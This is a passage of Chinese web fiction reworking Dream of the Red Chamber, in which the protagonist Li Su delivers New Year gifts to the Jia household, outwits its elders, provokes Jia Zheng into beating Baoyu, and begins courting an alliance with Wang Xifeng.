女人出嫁前,那家是父母的家,出嫁后的家叫归宿,有了男人才算有了归宿。 看看这字眼儿:归宿。 就是说在原生家庭,从出生到长大,都是暂养,嫁人叫归,归就是回,意思是说本来要嫁的夫家就是自己的家,出嫁是回家。 李素换好衣裳,出了里间,宝琴就眼睛一亮,内里青色锦袄,黑色长靴,外罩红色裘袍,配上他挺拔高大的身姿,俊美的容颜。 打眼看过去,如玉公子,雄风烈烈。 两种反差的气质特别和谐的统合在了一起,让宝琴也变花痴了,呐呐说道:“真好看哩。” “哈哈,好看就多看看。” 李素伸手捧住她的小脸蛋儿,揉搓了一把,又把她头发弄乱后,就在宝琴吃惊的目光中,拎起自己的黑剑,哈哈大笑着出门去了。 前厅,贾琏正在屋里转圈子。 不时的向外张望,忽听的一声大笑,他大喜刚要起身,就见李素走路如风,已经进到了厅中。 李素抱拳行礼。 “琏二哥久等了。” “素哥儿!” 贾琏猛的起身,就觉得眼前发黑。 “琏二哥这是咋么了?”李素赶紧上前紧走两步,扶住了打晃的贾琏。 “无……无事,哈哈。” 贾琏一大早就在林府门口等着了。 贾母年龄大睡眠时间短,再加上心中有事早早的醒了,就派人把琏二爷从温暖的被窝里催了起来。 待林府大门打开,他已经在外面冻了半个时辰。 这一大早他早饭也没吃,昨夜喝了一肚子酒,也未吃什么东西,天寒挨冻胃空,前几日在万花楼又把自己造的大虚。 所以现在还没躺下,已经算他贾琏的造化了。 “二哥要保重身子,以后还得大笔赚银子呢,嫂子还好吧?” 听到这话,贾琏又不困了,大笑起来:“好,好着呢,咱们出发?” “好,二哥这是礼单,你拿好,都是我师母精心准备的年礼。”李素从怀里掏出一个纸封递给了他。 “年礼?” 贾琏接过来,他还真不知道这事儿,李素也没对他说过,想想也对,今年是李素进京,姑母就让他送来了。 那今日自己来请李素过府,变成了李素去给府里送礼? 这里面的说道,他现在发晕的脑子一时转不过来。 “对,年礼。” 随后李素就拉着贾琏就出了林府,一指前方的两匹大马:“二哥作为武勋国公嫡支,可能骑马?” “自然骑得!” “二哥挑一匹,陪兄弟我走马看一看这京师景色如何?” 本想着在这里躺一会儿的贾琏,无奈只能答应,故作豪放:“那哥哥就陪兄弟,马踏天街!” “哈哈哈,二哥威武,走!” 说着李素一搭手就上了马,贾琏搭了好几手,最后被随行而来的小厮兴儿扶着,托上了马。 坐在马背上,寒风吹来,他不禁又打了个寒颤,此时他终于反应了过来,于是低声兴儿道:“你跑快点儿,给府里报个信儿,就说素哥儿代姑老爷,姑奶奶送年礼。” 兴儿点头,匆忙跑了。 贾琏随后大叫一声:“跟哥哥走!”拨马头前引路,奔宁荣街而去。 李素大笑跟上,随后是拉着礼物的车辆,一行十驾马 车,随行的还有连同飞狐在内的十名巡补营的好汉。 两府距离不过三五里,非常的近,等拐进了宁荣街,李素开始边行边细瞧,同时回忆原著林妹妹的视角。 果然,路经宁国府,看到两个大石狮子在门两侧,三间兽头大门,门前列坐着十来个臃肿棉服之人,来回跺脚走动。因为天气原因,就不像林妹妹看的那十来个华丽衣袍的小厮了。 正门紧闭,东西两角门儿有人出入。 “素……素…哥儿,这宁国府是咱家长房,想必你也知晓,前面就是咱们荣国府了,驾!”贾琏侧马一边哆嗦着,一边介绍。 李素笑着问道:“这人走的角门儿可够憋屈的,不会我也走这小门子吧。” “哈哈哈,那不会,放心吧我的子爵大人!更不用说还有林姑父和姑母的体面。” 贾琏不虚,他已经派人提前通知了,但他忘记了自己是骑马回来的。 此时,兴儿刚跑到荣禧堂,喘息未定由鸳鸯引着到了贾母房里,把事情禀报一番,贾母一愣,连忙说道:“去开中门迎客!” “另外把你们大老爷,老爷太太们都叫来。” 朝廷的子爵过府送礼,又代表了林如海的体面,再开个角门儿让人进来就不合适了,更何况还有求于人。 但此时哪里还来得及,李素已经和贾琏过了宁国府,往荣国府行来。 贾琏看着紧闭的大门,脑子有些懵,自己不是让兴儿来报信儿了么?怎么还是大门紧闭? “怎么了二哥?” “呵……素哥儿,咱们要不等等?” “等什么?” 贾琏尴尬道:“等……等开门。” 随后他跳下马,冲到府门前,拉着门子低声吼道:“开中门!” “二爷,咱可不敢随便开啊!” 同时李素开口了,扬声道:“琏二哥!” “你一大早就去请我,我带着大车的礼品上门,来了竟然进不了门?这有些欺人太甚了吧?等我回的扬州,如何向师父师母交待?” 贾琏大冷的天,他眉头都见汗了,跌跌撞撞赶紧又跑到李素的马前,不断的告饶。 李素摆手拦住他的话头:“我也一个小子,倒是不算什么,但是琏二哥!你来告诉我,我回扬州如何交待?” 李素的声音,在整个宁荣街上响了起来。 “这是把我师父师母的脸面给扔在了地上踩啊!” 说完,他拔马就要走! 第71章 先将一军 “素哥儿,万望给我这个面子啊!” 贾琏拉着李素的马缰绳,都快哭了,他明白李素这要是走了,就不可能再来了。 那元春的事儿就相当于黄了,先不说贾家的脸面臭不臭,以后家里的哥儿、姐儿的婚事受不受影响。 单单就他绝没好日子过,这事儿是大老爷认可,老太太点头。 在老太太面前失了分还不是最急的,大老爷会不会打死他,才是他最怕的,想起自己庶弟贾琮每天被打的头裹白布,架着双拐,心里就开始哆嗦。 “素哥儿,你若是走了,二哥也不活了!” 贾琏哭诉起来,他是真怕。 李素翻身下马,拉住了正要下跪的贾琏:“二哥,何必如此?” “素哥儿有所不知啊,我……” “二哥不必说了,走!” 李素拽起贾琏,把手中的缰绳扔给一旁的飞狐,拉着他就往西角门走去:“我能为了哥哥受这个屈,但我师父师母不行,所以年礼就等中门开,你看可好?” 贾琏被这忽然的惊喜顿时砸晕了头,只要李素进了贾府,他的任务就算完成了,哪里在乎什么礼不礼的。 一时间感动的眼睛都红了。 “好,好,好兄弟,你这回又救了二哥,以后但凡二哥有的,兄弟尽管开口,若是二哥我有半点犹豫,管教我不得好死!” “哈哈哈,我就知道,我跟二哥是同道中人。” 李素朝着飞狐摆了摆手,示意他们在这里等,就进了西角门儿,旁边四个小厮也跟了上来,在后面照应着。 他今日就要走林妹妹的路,杀荣国府的风。 如此走了一箭之地,到了拐弯儿处,方才小厮停步,又几个十七八岁的年轻小厮跟上二人。 到了这里贾琏的心才完全放了下来,这一放松,整个人就好似虚脱了一般面色苍白,他此时又冷又饿,又被冷风吹了一路,在大门口还被汗水浸湿了身子,有些撑不住了。 全靠李素架着他才站住了,往前行去。 此时贾政已经带人赶到了大门,吩咐一声,中门大开。 出得门来正要观瞧,就只见一行十余名凶神恶煞的大汉,抬着箱子盒子就往里进,头前一个高大消瘦的汉子来到贾政面前。 拱手行礼,随后扬声道:“这位老爷,此是林老爷送来的年礼,不知交于哪位,还请告知。” 贾政有点儿懵,李素呢? “呃……这…赖大,赖大!” 赖大支应一声,紧忙满脸堆笑上前,引着飞狐带礼品往府内走。 这时候贾政才开口发问:“琏儿与李子爵呢?” 门子忙答话:“回老爷话,已经入府去了。” “何时?自哪里入府?” “约莫一炷香,自西角门儿进的府。” 贾政登时身子就有点儿打晃,自己大开中门迎的是财物,反让客人走了角门儿,这名声若传出去,必然不是新任子爵伏低做小走小门。 而是荣国府鄙人好财! 这比元春的事儿更臭,元春的事儿还可以说是被皇帝安排和逼迫,但此事却是贾府自行安排出来。 在外面看来,等于明着说荣国府的门风坏了! 想到这里,贾政就感觉眼前一阵阵发黑,但事已至此,只好封口! 先封下人,他扭头对身侧的赖大厉声道:“赖大,今早之事,谁多一句嘴就打死了事!” 赖大连忙答应。 随后贾政匆忙就转身往府里跑,现在的问题已经不光是元春的问题了,而是要先封李素的口,烂事儿上面又多了一坨屎,这是贾政此时心中的写照。 前次还说要拿国公府的威仪来逼着李素退元春呢,而现在人没有见到,就比李素矮了好几截。 此时李素随着贾琏已经过了垂花门,就见一个鸭蛋脸面,乌油头发,高高的鼻子,一个有几点雀斑的姑娘,带着几个丫鬟迎了过来。 匆匆来到近前,福身行礼。 “见过二爷,见过贵客,老祖宗正候着呢。” 李素见她的小雀斑,就知道是鸳鸯,贾母的大丫头,红楼梦中的四大烈婢之一,平鸳袭三大丫鬟中性格最出彩儿的一个。 也只有她很明确的通过拒亲贾赦,表现出了不慕富贵的品格,而袭人却是相反,就想着跟宝二爷直上青云,因此还以丫鬟的身份操着主母的心,劝导宝玉读书上进。 “这位姑娘怎么称呼?” “啊,当不得姑 娘,奴婢鸳鸯。” 鸳鸯说着对李素再次行礼,她完全没有预料李素会对她说话,这个差点儿闪瞎她眼睛的子爵竟然对她说话了,这让她有些心旌神摇,但面上依然保持着冷静温和的对答。 “好名字,不知道老太君屋里都有谁在?” “好叫贵客得知,有府里的大老爷、大太太、太太、琏二奶奶、隔壁宁国府的珍大爷、珍大奶奶。” 当然帘子后面,还有迎春、探春、惜春三人藏着偷瞧,却是不能再说了。 “政老爷不在么?” “老爷是去迎……” 鸳鸯此时才反应过来,政老爷人呢?怎么就琏二爷自己来了?政老爷不是去迎客了么?鸳鸯的脑子就有点儿不够用了。 而贾母屋里的众人却是一脸的放松,贾赦更是把自己的大老爷范儿拿的十足。 “母亲,此番我荣国府大开中门,二弟亲自迎客,可是给了那小儿足够的体面,如此我们再提出些许小小的要求,请他帮个小忙,他还能说得出什么?” “而且,我们又借着给妹婿的体面开中门,并不损府里的体面,在外边儿也大可说去。” 贾母含笑点头,这是她拿的主意,进退皆有度,不损体面还为后面办事做好了埋伏,但是她恰恰忘记了时间差,没有料到小贼更奸猾。 迎客的人未归来,客人自己已经到了。 至于贾琏此时已经不能算是迎客的人了,自贾府中门打开,他就失去了迎客的资格,变成了请客的小厮。 鸳鸯匆匆进屋行礼:“老祖宗,客人到了。” 话音刚落只见李素搀着贾琏进来了,众人打眼望去,顿时愣住了。 红裘青衣!腰中胯剑!风姿伟貌!烈焰君子! 贾母先是一喜,她就爱个好容貌,但接着心中就是咯噔两声。 一是自己的女儿贾敏会放过这大好少年么? 二是自己去迎客的小儿子呢? 她心中忧虑刚起,李素便开口了,朗声抱拳行礼。 “见过老太君,不知道我代师送礼,府里没有半个人迎,还要我走小门儿是何道理?” 第72章 让老嫂子没佛珠可捏 少年按剑问话,掷地有声,锋芒毕露! 一群窝在家里的米虫哪里见过这等人物,直来直去,犹如一把利剑径直刺来! 杀气腾腾! 众人色变。 本来意态闲适,珠光宝气,尽力展现自己高贵,带着审视意味接待少年的众人顿时坐蜡。 仿佛身上外面包裹的一层贵衣,被人瞬间撕裂开来,羞恼不安。 屏风之后偷瞧的三春,顿时掩口大惊,随后三人反应各自不同,探春目中光彩流转,迎春则目含隐忧,惜春则依然震惊。 贾母带笑的面容僵住,心中不住的颤抖,悲愤异常,自己堂堂超品国公诰命,古稀之年竟被一少年指着鼻子喝问,颜面何存啊? 贾琏更是差点儿瘫倒,面色大变。 “素……哥儿。” 贾赦恼羞成怒正欲拍案。 谁知李素上前两步对着老太太躬身行礼:“老太君,刚才问话是代表林府问荣国府,万不得已而为之,请老太君原谅晚辈话直。” 众人闻言大悟,如此说来,贾府失礼被质问也是应该,否则无法交待。 屋中的气氛顿时一缓,贾母的心气也逐渐下落,笑容再次接着笑起来,贾赦的手虚空抓挠了几下,收回了袖子。 其余人人等,面色也继续开始喜状、温和状、傲气状。 就好比李素手里捏着时间停止器一般,静止又开启。 贾母刚抬手欲说话,李素再次上前一步作揖行礼:“小子李素代师父、师母问老太君安。师母有言,在扬州不能膝前尽孝,每每垂泪自责,思念甚已,望老太君保重身体,天年颐养,高乐为先。家中子女承先祖福分遗泽,自有大造化,老太君一生操劳,不要为他们再操心劳力。” 随着李素的话,贾母思念女儿的心绪,一时被李素引动,竟自垂下泪来。 其余人等真真假假,也陪着悲伤起来,屋子里顿时变成了亲情局,不由的和谐了起来。心也都放了下来。 王熙凤快步走到了贾母身侧,抬起袖口儿揩了揩自己的眼睛,随后掏出手绢儿帮贾母擦泪,同时眼角飞向李素埋怨道。 “哎呦~我说素兄弟,你这哪里是来给咱们老祖宗拜早年来的?惹得咱们大伙儿思念姑奶奶不说,更是来拆你哥哥嫂子台的,老祖宗不管咱们了,咱们岂不成了没人管的野猴子?” 贾琏搭声:“就是,你这般陷害于我,岂能饶你?” 李素眼睛一瞪他。 “如何不饶?” 贾母拿过了王熙凤的手绢儿,自己擦了擦眼泪,同时笑骂道:“去去去,你们两个猴儿崽子,素哥儿带回了你们姑父姑妈的一番好心,倒你们这张嘴说成了素哥儿的不是了,哪里有这般道理?这不是欺负人么?” “好好好,老祖宗却是有了新人忘了咱们这些旧人了。” 王熙凤故作委屈,随后却是自己绷不住的笑了起来,随后屋中众人跟着笑起来,气氛欢乐,一副父慈子孝几代同堂的温馨场面。 贾母朝着跟前儿的李素笑道。 “家里的这些儿猴儿啊,就数她最闹腾,你们也是熟悉了,有什么事儿,就让他们去做,跑断他们的腿,也省的他们有功夫再来烦我。” “老太君这话对,依我看除了他们俩,咱们这屋子里都是好的,哈哈哈。” 贾母这才想起来要介绍一下众人:“你看我这年老眼花的,都忘了让你认人了。” 李素摇摇头。 “我看不是,老太君耳聪目明,身体康健,定是瞧我生的好,把他们这些个给忘记了。” 李素捧老太太,捧自己,砸众人的话,让贾母再次开怀起来,浑然忘记了刚才的隐忧,笑的合不拢嘴。 其余人尽管心里不快,也得赔笑,属王熙凤笑的嗓门儿最大。 就连屏风后都有隐约笑声传来,却不知道哪个在笑。 李素随着走到近前,就搀住了贾母:“您若是不认我说的话,我就扶着您走近些指给我认识认识?” 贾母还从没有感受过哪个孙子搀她,宝玉那是缠她,此时就有一股陌生的情绪升腾起来,顺便就起了身。 轻拍李素的手笑着道:“好,那素哥儿就随我瞧瞧他们。” 迈步下了小台阶,贾母就开始介绍起来:“这是你师母的大兄。” “赦大伯。” 贾赦抚须点头。 “这是宁国的当家人,按辈分,你叫他一声珍大哥。” “珍大哥。” 贾珍拱手笑着回声:“素兄弟。” “这是你赦大伯的太太,随着琏儿他们叫叫一声大太太。” “大太太。” 邢夫人笑着回道:“素哥儿。” “那这位老嫂子,年若芳华,定是我贾珠大哥的媳妇,珠大嫂子了?” 众人听到李素这话,顿时愣住了,仔细端详呆若木鸡王夫人,不明白他的眼睛是怎么瞎的? 屋里顿时失了声。 李素松开贾母,上前一把扯过了王夫人手里的念珠:“珠大嫂子,有所不知,我其实是个道士,佛本是道,这念珠让我想起了我那过世的师父,不知可否赠与我。” 说完李素就躬身行礼。 “哈哈哈,好,好,既然有如此缘分,素哥儿就拿去。” 原来是贾政回来了,见李素要自己夫人的念珠,他大喜过望,对方有需求,自己就好说话了。 根本也没听到李素前面的话,什么珠大嫂子,什么过世的师父?就听到尾巴上那半句要珠子的话。 所以他根本不在意自己夫人怎么想的? 也不清楚王夫人心里已经起了刀子。 面色难看的王夫人八风不动,手指使劲儿就捏,但珠子已经被李素抢走了,手指既没捏到佛珠,也没有捏到手指节发白。 李素偷眼瞧,心中暗笑,让你捏佛珠捏的手指节发白,以后你盘一串儿,老子就抢你一串儿。 他见好就收,再次搀扶住贾母看着贾政道:“老太君,这位大人生的儒雅随和,与我师父同有君子之风,定是政二伯了?” 这话贾母爱听,她也最喜小儿子,刚才李素认错人,只有她觉得好玩儿,此时心中更喜。 “你这小猴子,现在眼神儿好了?刚才你认得那恰恰是你政二伯家里的太太。” 李素两手一摊。 “啊,这可不怪我啊,谁让太太天生丽质呢。” 他这不要脸的话,让众人又笑了起来,只是各有不同,贾赦笑的声音最大,贾政更是尴尴尬尬,邢夫人跟尤氏的心中却是狂呼,你是不是真瞎? 一时间都没有想到,如果真是珠大嫂子,李素如此唐突,何其过分。 贾母笑着摇头,最后指了指尤氏。 “这个嫂子,我认得,定是珍大哥的太太了。” 贾珍皱眉:“你如何认得?” “哈哈哈,那却要珍大哥请我吃酒才能说了。” 李素又看了一眼尤氏, 葫芦! 第73章 宝兄弟,我也有玉 “好,哈哈哈,今日里我就摆个东道,请素兄弟。” “珍侄儿,这东道你可得往后排。” “我老婆子也不管你们往后是谁做个东道,今日里午时就在我这里开席,鸳鸯,你去吩咐厨房,做几桌上好的席面儿。” 鸳鸯答应一声去了。 王熙凤儿眉开眼笑的走过来,搀住了贾母的另一侧。 “对对对,今儿啊,咱们就吃老祖宗了,吃穷她。” 跟李素一起把贾母搀扶到了主位上,正欲开口,只见屋外闯进一人,进门就道:“我听说今儿有……” “住口!”贾政冷声喝止。 李素看见他就乐了,贾宝玉来了。 面如银盆,头上挂着个大红球的,不是他还能是谁。 贾宝玉听到老爹的声音,这才发现屋子里不止有嫂子哥哥,还有父亲大伯在,姐姐妹妹却是不在。 见贾政冷面看他,不由得打了个哆嗦,分别给人见礼,待到李素这里他愣住了,一时不知如何开口。 贾母疼孩子,于是提醒道:“这是你扬州林姑父的弟子,叫素大哥就好。” “素大哥。”孩子很有礼貌,作揖行礼。 李素忙止住他:“哈哈哈,宝兄弟不必多礼,常听师母说,府里有个才貌双全的兄弟,今日算是见着了。” 贾宝玉起身后,呆呆的看着李素道:“我见素大哥,竟是像从哪里见过的。” 李素闻言猛然想起来,这家伙是个会击剑的,于是不由得后退一步,斩钉截铁的对这小舅子说道:“绝对没见过!” “素大哥可有玉吗?” 李素肯定点头:“有玉!” “可否能拿给我瞧瞧?” 贾宝玉闻言,一脸的欣喜双目放光,终于遇到一个有玉的了。 他正沉浸在这期待中,而他老子贾政的火气,瞬间被这无礼的话给勾了起来。 贾政现在可已经有两件大事都要求李素,面对李素,他的心本就悬着,生怕哪里不对惹李素不快,坏了大事。 现在儿子如此无礼,让他一下爆发了出来,开口就骂。 “住口!再无礼,打死你这孽障!” 贾宝玉被他老子吓得面色一白,就想往贾母身边缩。 李素一把拉住了他的手臂,一边笑呵呵的对贾政道:“政二伯消消气,宝兄弟性情中人,难能可贵,可不能让礼法毁了他这份赤子之心啊。” “就是,好好的哥儿,都被你给骂坏了!” 贾母也在一旁回护。 “不就是看玉么?这算得什么!” 李素说着就把手伸进了脖子里,众人也满眼期待,谁也没想到除了贾宝玉出生带玉,竟然还有人带玉,这可是奇事。 只见李素从脖子上掏出了一串儿。 没错,就是一串儿玉! 金线织就的绳子上,串着一嘟噜四五个玉,只见个个大如雀卵,灿若明霞,莹润如酥。 就在众人震惊的时候,贾宝玉却遗憾的摇摇头:“原道与我相同,自母胎而生,没想到是世间人所作俗物。” “如何是俗物?” “你这许多,必不是口衔而出,而是世间俗人所作,如何不是俗物?” 李素摇头,缓声道:“宝兄弟错了,我这也是母胎带来的,只不过我是挂在脖子上的,你是用嘴叼着的。” 贾宝玉大喜:“竟是如此?” “就是如此!” 李素继续编。 谁也没发现王夫人的脸黑的快滴出墨了,她被自己的傻儿子气的,更是被李素气的,不由得双手用力。 李素扫了她一眼,心中暗笑,她此时定然在怀念自己的念珠。 贾宝玉继续道:“那可有字么?你瞧瞧我这个,有字的。” 说着他就摘了下来,递给了李素,李素接过来把自己这一串儿递给了贾宝玉说道:“我这也有字。” “那我得瞧瞧。”贾宝玉笑着拿起李素的一串儿玉,挨个看了起来。 莫失莫忘,仙寿恒昌。 不离不弃,芳龄永继。 林中带玉,圣叹咏絮。 情天情海,香艳幻身。 榴花开处,春春归素。 他看完后顿时痴呆起来,拿着李素的那一串儿,定定的不动,目光也没了焦距。 王熙凤见状况有些不对,先是发出一声笑声,款款走到二人一侧,探手从贾宝玉手中把玉摘了去:“我也瞧 瞧素哥儿这玉上写了什么,竟然与宝兄弟的玉如此相似。” 贾宝玉叹了口气:“凤姐姐莫看了,你不识字!” 你不识字! 王熙凤面色一僵,随后就对自己这个表弟在心里暗恨了起来。 谁都知道老娘不识字,老娘帮你解围,你却在这么多人面前揭了出来,尤其当着自己债主的面儿。 贾琏也同样在心里开始对贾宝玉戳刀子。 而贾宝玉说完后,一把从李素手中扯过了自己的玉,随后就往地上砸去,同时哭喊道:“我要劳什子有何用?原道我是不同的,却没想到却是人家的一个边角儿!” “哎呦~我的心肝儿,你莫要砸啊。” 贾母猛的就扑身过来,抱住了贾宝玉,同时对李素的好感全无,扭头看向李素道:“素哥儿,快收起你的玉串子!” 目光中全是恨意,但大事还在心头,没有说出更狠的话。 李素的面色僵住,随后用手擦了擦眼角,又用力揉了揉,随后躬身一礼:“没想到,竟然惹的宝兄弟和老太君厌烦了,既如此小子就去了,望老太君保重。” 说完他缓缓的看了看屋子里每个人,让众人看到他通红的眼睛,迈步就往外走去。 “不!素哥儿,你不能走!” 贾政慌了,千小心,万小心,还是惹出了事儿。 他伸手就拦住李素:“素哥儿,都是那孽障的错,让你受委屈了……琏儿!拦住你素兄弟,看我打死这个孽障给素哥儿出气!” 贾琏强撑着身子过来抱住了李素。 “政老爷,不怪宝兄弟,你看千万别用棍子打他,我这就去了!” 急火攻心,对贾宝玉怒气勃发的贾政闻言,脑子里瞬间就一个念头,棍子!棍子!抄起靠在墙上的挑帘棍子就冲向了贾宝玉。 贾母护着嚷道:“你若打他,就先打死了我去!” “老爷,宝玉有什么错,你一并把我打死算了,呜呜呜。”王夫人也扑了过去,抱住了贾宝玉。 贾政仰天长叹:“今日贾府就毁在你们手中了啊,大哥你若不想我西府在神京臭不可闻,便拉开母亲。” “啊?”贾赦心说不至于吧。 “请大哥信我!”贾政对贾赦一礼。 贾赦少有经历这个二弟对自己如此尊重,心下有了决定:干了! 大声吩咐道:“夫人、琏儿媳妇儿,拉人!”随后他又对贾母一礼:“母亲,请恕儿子们不孝了!” 第74章 母子齐挨揍 门口的李素,任贾琏抱住胳膊,悠悠的看着热闹。 原著里,黛玉初见他,就被他摔玉撒泼,把个新才丧母战战兢兢的小姑娘,给吓了个够呛。 这回李素就要看他挨揍的热闹,不然白花心思,准备那么一串子雨花石了。 拿人钱财,还给人气受,真是把你们给惯得! 此时邢夫人、王熙凤甚至尤氏也跑上了前,拽胳膊搂腰就拉贾母。 尤其王熙凤使得劲儿头最大,刚才贾宝玉说她不识字,她记仇了。 此时老爷要揍他,这机会对自己来说千载难逢。 贾母哪能受的住这三个人的力,很快就被拉开。 但口中呼嚎不停。 “不许动我的宝玉!” 王夫人迅速补位,扑到贾宝玉身边,紧紧的抱住了他。 扭头看着贾政哭喊:“老爷!你要打,就一起打死我吧。” 贾政气的哆嗦,握棍子的手都开始发抖了,随后双手就举了起来,大喝一声。 “都是你娇惯于他,那你们就一块儿死了去!” 啪! 啊! 啪啪啪! 啊……! 王夫人双手捂头,栽倒了下去。 贾政见干倒了王氏,有些杀疯了,双眼通红的看着露出来的贾宝玉,就像看到了仇人,这些日子的憋屈,尽皆上了心头,棍子瞬间如雨落下。 “啊!儿子错了…老爷饶命……呜……” “老祖宗,老祖宗!” 贾母见自己的心肝儿挨打,顿时受不住两眼一翻晕了过去,屋中众人齐齐往老太太身边跑去,李素也不甘落后,他可不能让这老太太今天出事儿,有损他的名声。 王熙凤、邢夫人、尤氏、贾赦、乃至后面还窜出来三个窈窕身影,围着贾母就呼喊了起来。 “我来看,我懂医!” 李素一扒拉,也不知戳了哪个的柔软,他来不及细摸,就按向了贾母的人中。 掐! 掐! “啊~疼!” 李素闻听迅速闪身,回到了贾琏身边,抓起他的胳膊夹了起来,低声道:“二哥,夺权的好机会!” 贾琏心中一亮,想起了昨夜李素跟他们说的话。 贾母睁开眼来,就看见了倒在地上,已经昏过去的宝玉几女正在围着呼喊。 又看了看跪在自己面前磕头的贾政。 她泪眼婆娑大喊道:“快请太医啊!” 李素低声对贾琏说道:“宝兄弟装昏!” 贾琏福灵心至大喊:“素哥儿懂医,快给宝兄弟瞧瞧!” 贾母听到贾琏的话,也急道:“素哥儿,快给宝玉瞧瞧。” 李素走到贾宝玉面前,看了看:“老太君,宝兄弟无事,很快就醒了!” 贾母放下心来看着贾政说道:“我这就带着我的宝玉,回金陵老家去,不在这里碍你们的眼,以后你们想打哪个就打哪个。” 贾赦闻言也扑通跪了下去,大呼儿子不孝。 贾政磕头如捣蒜,老泪纵横,心中委屈不知如何诉。 “可要宝兄弟现在醒来?” “啊,那快啊!” 贾母听到这话,就顾不得收拾儿子了。 “好。” 只见李素蹲下身子,手就朝着贾宝玉的腋下挠了过去,没三两下,贾宝玉就再也装不下去了。 “哈哈哈……别…痒…哈哈……饶过我这一遭吧……哈哈哈……哎呦…啊!” 又惨叫起来! 原来众人发现贾宝玉是装的,顿时心头凌乱,如一群野驴踩过。 尤其贾政,怒从心头起,竟然被他给耍了! 棍子再次落下,打的贾宝玉满地打滚儿。 贾母被自己心肝儿的操作,也是气的说不出话来,一时间屋里竟无人出声劝阻了。 最后一棍,直接敲到了贾宝玉的后脑勺上,这回真的晕了过去。 李素此时仿佛回过神儿来,疾步近前挡在贾宝玉身前,一抬手臂喊道:“政二伯息怒,别气坏了身子,宝兄弟还小。” 但贾政哪想到他会挡,一棍子就敲到了李素的胳膊上。 随后李素惨嚎一声就倒了下去,砸在了贾宝玉的身上,他开始碰瓷儿了。 “素哥儿!” “素兄弟!” 贾琏、贾珍一同上前去扶李素,贾政见自己打了李素心中大慌,也把棍子一 扔,冲向了李素。 贾母一时间愣住了,李素竟然替宝玉挡灾了? 她的恨意,顿时消了大半。 “我…我无事,多谢珍大哥扶我起来。” 李素面色通红,身体不停的打着摆子,右臂明显无力下垂,靠着贾珍强行站住了,随后偏着身子给老太太行礼道。 “老太君,都怪我,今日里来惹了这许多事,我就先告退了。” 说完又强行抬起左臂,擦了擦眼睛。 “原本我就不该来罢。” 贾母此时无比清醒,不能让李素走。 “素哥儿!你哪里都不许去,就住在府里,今日里都是这些子孽障惹的灾祸,哪里有你的事儿,最后你还因他们遭了罪!” 随后看向了王熙凤:“凤丫头!你是个仔细的,还有琏儿,你们照应着素哥儿,给他安顿好,再选几个伶俐的丫头服侍。” 王熙凤赶紧答应了,紧走几步过来搀住李素,连拉带拽的拥着李素就往外走。 李素不情不愿,半倚在凤姐儿身上,扭头喊道:“老太君,这……” “我要回去啊……” “老太君……” 随着贾琏上身,很快就出了屋门。 屋内瞬时安静了下来,除了坐着的就是地上躺着的两个。 贾母哀叹一声:“快把他们抬到里间,鸳鸯去催催,看太医何时来?” 邢夫人、尤氏和三春姐妹以及几个丫鬟七手八脚的往里屋拖去。 见他们都走了,贾母看了看贾赦、贾政、贾珍三人,最后看着贾政道:“政儿,你说说今日里为的哪般?” 往日贾政从没这样把宝玉往死里打,尤其对着自己夫人也是毫不留情,这不太对劲! 屋里安静下来,贾母回过味,才想到关键处问起了小儿子。 贾政忙把事情原委说了出来,众人听完面面相觑,这才明白过来,府里原来是让人走了小门儿,大门儿迎了财物。 这名声必不能让李素传出去! 元春的事儿,都要往后放一放了。 贾赦面色难看,他是爱财的,更不喜别人说他爱财。 “咱们自个儿府里的,谁多是多嘴胡噙,必然要打死了账,赖大你给我盯好了!” 赖大忙答应下来。 贾母点头,随后继续开口。 “给素哥儿的照应,必得是最好的,凤儿我放心,但怕她小气了,先挑几个最好的丫头过去,哥儿定然爱俏!赖嬷嬷,你亲自去挑!他若是看上哪个,身契一并给了。” 赖嬷嬷应声去了。 里间的女人安顿好了王夫人和贾宝玉后,一时无话,等着太医来。 “迎春姐姐,你的脸为何如此红?” 惜春一脸的不解,仰头问道。 “啊,这…没,没有吧。” 探春也狐疑的看着贾迎春,平时自己这个姐姐,是木讷,却很少脸红害羞,今日里到底是怎么了? “二姐姐,你不对劲!” 探春盯着迎春的眼睛,一眨不眨! 第75章 嫂子,夺权吧! 迎春有些心虚,躲开了探春的眼睛。 “没…我没…” 探春凑近迎春,在她耳边轻道:“你是不是看上那李素了?” “没。” “那你慌什么?” “我……我没慌,我要去如厕。” 迎春说完红着脸就跑了,探春见她如此,越发肯定她有事儿了,如厕?嘿……这俩字儿能从二姐姐嘴里说出来,真的是破天荒了。 尿遁而走的迎春,心里委屈极了,被人袭胸还被妹妹误会。 袭胸人李素,一路跟贾琏两口子拉拉扯扯,就到了一处院子,很大的一处独院儿。 “嫂子,你放开我,二哥都快站不住了,我还得扶他。” “我……还撑得住。” 贾琏打着摆子哆嗦着开口。 他是真快不行了,三顿不吃饭,灌一肚子酒,喝了一肚子寒风又出了一身的冷汗。 王熙凤和平儿也发现了贾琏的不对,王熙凤忙走到他的另一侧,与李素一左一右架住了他。 “这是怎么了?平儿,把你二爷扶回去。” 李素拦住她。 “二哥这等模样,就先别折腾了,先送屋里歇着,平儿姑娘去叫大夫来。” “素兄弟,这是你的屋子,哪能让你琏二哥先歇的道理。” 李素拧眉道:“嫂子竟如此见外?我和二哥还要分彼此么?” 王熙凤见他认真起来,于是也不再多言,向平儿点了点头,平儿匆匆去了。 和他一起架着贾琏就往正房走,等上台阶时就费劲了,李素和王熙凤俩人,一个装独臂扮演肌无力,一个是身娇体嫩真无力。 眼见贾琏就要往后仰,脚步死活抬不起来。 李素的手不得已从贾琏的后背揽过去,恰巧王熙凤也是这么想的,二人的想法撞了,手也撞了。 而李素在触到凤姐纤手的瞬间,迅速变幻了手型。 十指紧扣! 情况一时间竟变成了李素和王熙凤拉着手,兜住了正在后仰的贾琏。 “嫂子,别松手,咱们一块儿使力把二哥弄上去。” 李素开口阻止了想要脱钩的凤姐儿。 王熙凤闻言,不再挣扎,只觉得这大手比昨晚还要紧,还要烫。 随后贾琏被拖上了台阶,继续架着往屋里走去,迷迷瞪瞪的贾琏也没发现自己媳妇的手被兄弟牵着。 等到了里间,李素右臂一扯贾琏,把他掀到了炕上。 王熙凤顿时愣住了,随后就要甩开自己被十指紧扣的手,但哪里能甩的脱。 她顿时面色难看起来,低声道:“素兄弟,你刚才都是装的?你要做什么?” “嫂子以为我要做什么?” “素兄弟,我王熙凤不是随随便便的人。” “嫂子,你想到哪里去了?以为我要占你便宜?你太小瞧我了,我皇上面前的红人,新封的子爵,明年的举人老爷,家资亿万,才貌双全要什么样的女人没有?” 王熙凤点头认可,随后疑惑道:“那是为什么?” “我给嫂子看我是装的,只不过想跟嫂子做个同盟。” “同盟?” 